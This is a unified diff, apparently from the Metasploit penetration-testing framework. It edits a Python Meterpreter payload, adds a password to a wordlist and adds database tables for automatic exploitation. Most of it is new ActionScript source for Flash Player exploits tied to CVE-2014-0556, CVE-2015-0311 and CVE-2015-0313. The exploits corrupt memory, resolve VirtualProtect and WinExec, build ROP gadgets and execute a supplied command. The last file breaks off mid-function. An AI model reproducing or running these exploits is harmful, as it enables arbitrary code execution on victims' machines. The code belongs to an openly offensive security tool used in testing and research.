return ERROR_FAILURE_WINDOWS
|
||||
serial_num = serial_num.value
|
||||
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
|
||||
else:
|
||||
for _, _, files in os.walk('/dev/disk/by-id/'):
|
||||
for f in files:
|
||||
if f[:4] == 'ata-':
|
||||
serial = f[4:]
|
||||
break
|
||||
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
|
@ -710,7 +749,7 @@ class PythonMeterpreter(object):
|
|||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
return resp
|
||||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if not hasattr(os, 'fork') or has_osxsc or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
try:
|
||||
os.setsid()
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1002,3 +1002,4 @@ sq!us3r
|
|||
adminpasswd
|
||||
raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
88
db/schema.rb
88
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||
ActiveRecord::Schema.define(:version => 20150326183742) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "automatic_exploitation_match_results", :force => true do |t|
|
||||
t.integer "match_id"
|
||||
t.integer "run_id"
|
||||
t.string "state", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
|
||||
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
|
||||
|
||||
create_table "automatic_exploitation_match_sets", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
|
||||
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
|
||||
|
||||
create_table "automatic_exploitation_matches", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.string "state"
|
||||
t.integer "nexpose_data_vulnerability_definition_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.integer "match_set_id"
|
||||
t.string "matchable_type"
|
||||
t.integer "matchable_id"
|
||||
t.text "module_fullname"
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
|
||||
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
|
||||
|
||||
create_table "automatic_exploitation_runs", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "user_id"
|
||||
t.integer "match_set_id"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
|
||||
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
|
||||
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
|
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
end
|
||||
|
||||
create_table "loots", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.text "data"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "content_type"
|
||||
t.text "name"
|
||||
t.text "info"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
|
||||
|
||||
create_table "macros", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
|
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_runs", :force => true do |t|
|
||||
t.datetime "attempted_at"
|
||||
t.text "fail_detail"
|
||||
t.string "fail_reason"
|
||||
t.text "module_fullname"
|
||||
t.integer "port"
|
||||
t.string "proto"
|
||||
t.integer "session_id"
|
||||
t.string "status"
|
||||
t.integer "trackable_id"
|
||||
t.string "trackable_type"
|
||||
t.integer "user_id"
|
||||
t.string "username"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
|
||||
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "detail_id"
|
||||
t.integer "index"
|
||||
|
@ -481,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
|
|||
t.integer "port"
|
||||
t.string "platform"
|
||||
t.text "datastore"
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "closed_at"
|
||||
t.string "close_reason"
|
||||
t.integer "local_id"
|
||||
t.datetime "last_seen"
|
||||
t.integer "module_run_id"
|
||||
end
|
||||
|
||||
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
|
||||
|
||||
create_table "tags", :force => true do |t|
|
||||
t.integer "user_id"
|
||||
t.string "name", :limit => 1024
|
||||
|
|
|
@ -0,0 +1,182 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.BitmapData
|
||||
import flash.geom.Rectangle
|
||||
import flash.utils.ByteArray
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(12800)
|
||||
private var bd:BitmapData = new BitmapData(128, 16)
|
||||
private var i:uint = 0
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var b64:Base64Decoder = new Base64Decoder()
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var payload:String = b64.toByteArray().toString()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
bv[i] = new ByteArray()
|
||||
bv[i].length = 0x2000
|
||||
bv[i].position = 0xFFFFF000
|
||||
}
|
||||
|
||||
for (i = 0; i < bv.length; i++)
|
||||
if (i % 2 == 0) bv[i] = null
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1022)
|
||||
}
|
||||
|
||||
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||
|
||||
for (i = 0; ; i++)
|
||||
if (uv[i].length == 0xffffffff) break
|
||||
|
||||
for (var i2:uint = 1; i2 < uv.length; i2++) {
|
||||
if (i == i2) continue
|
||||
uv[i2] = new Vector.<Object>(1014)
|
||||
uv[i2][0] = bv[6401]
|
||||
uv[i2][1] = this
|
||||
}
|
||||
|
||||
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
|
||||
bv[6401].endian = "littleEndian"
|
||||
bv[6401].length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
|
||||
var main:uint = uv[i][0xfffffc09] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
|
||||
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
|
||||
byte_write(uv[i][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer + 0x100, payload, true)
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x80)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x100)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
this.toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) bv[6401].position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
|
||||
if (zero) bv[6401].writeByte(0)
|
||||
} else bv[6401].writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
bv[6401].position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return bv[6401].readUnsignedInt()
|
||||
case "word":
|
||||
return bv[6401].readUnsignedShort()
|
||||
case "byte":
|
||||
return bv[6401].readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,285 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code skeleton by @hdarwin89 for other exploits
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv_index:uint
|
||||
private var ba:ByteArray
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
defrag[i].endian = "littleEndian"
|
||||
}
|
||||
|
||||
ba = new ByteArray()
|
||||
ov[0] = ba
|
||||
ov[0].length = BYTE_ARRAY_SIZE
|
||||
ov[0].endian = "littleEndian"
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1014)
|
||||
uv[i][0] = 0x41424344
|
||||
}
|
||||
|
||||
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i][2] = stack
|
||||
ov[i][3] = payload_space
|
||||
}
|
||||
|
||||
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||
// Make ByteArray length 0 so the casi32 integer overflow
|
||||
// can be exploited
|
||||
ba.atomicCompareAndSwapLength(1024, 0)
|
||||
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
|
||||
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
|
||||
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
|
||||
var main:uint = read_byte_array(object_vector_pos + 8) - 1
|
||||
var uint_vector_pos:uint = search_uint_vector()
|
||||
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
|
||||
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
|
||||
|
||||
// Overwrite uint vector length
|
||||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
if (uv[i].length > 1024) {
|
||||
uv_index = i
|
||||
uv[i][0] = uint_vector_address
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it
|
||||
// anymore
|
||||
byte_write(uv[uv_index][0], orig_length)
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
// Methods to use the integer overflow
|
||||
|
||||
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
var next_length:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos != 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function read_byte_array(offset:uint = 0):uint {
|
||||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||
return old
|
||||
}
|
||||
|
||||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||
var old:uint = read_byte_array(offset)
|
||||
casi32(offset, old, value)
|
||||
return old
|
||||
}
|
||||
|
||||
// Methods to use the corrupted vector for arbitrary reading/writing
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -3,6 +3,7 @@
|
|||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
|
|
|
@ -0,0 +1,207 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.events.Event
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.Worker
|
||||
import flash.system.WorkerDomain
|
||||
import flash.system.MessageChannel
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var worker:Worker
|
||||
private var mc:MessageChannel
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
if (Worker.current.isPrimordial) mainThread()
|
||||
else workerThread()
|
||||
}
|
||||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
for (var i:uint = 0; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||
mc = worker.createMessageChannel(Worker.current)
|
||||
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||
worker.setSharedProperty("mc", mc)
|
||||
worker.setSharedProperty("ba", ba)
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
worker.start()
|
||||
}
|
||||
|
||||
private function workerThread():void
|
||||
{
|
||||
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||
ba.clear()
|
||||
ov[0] = new Vector.<uint>(1022)
|
||||
mc.send("")
|
||||
while (mc.messageAvailable);
|
||||
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
||||
var main:uint = ov[0][0x409] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
||||
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
||||
}
|
||||
|
||||
private function onMessage(e:Event):void
|
||||
{
|
||||
casi32(0, 1022, 0xFFFFFFFF)
|
||||
if (ba.length != 0xffffffff) mc.receive()
|
||||
else {
|
||||
ba.endian = "littleEndian"
|
||||
var data:Array = (mc.receive() as String).split("/")
|
||||
byte_write(parseInt(data[0]))
|
||||
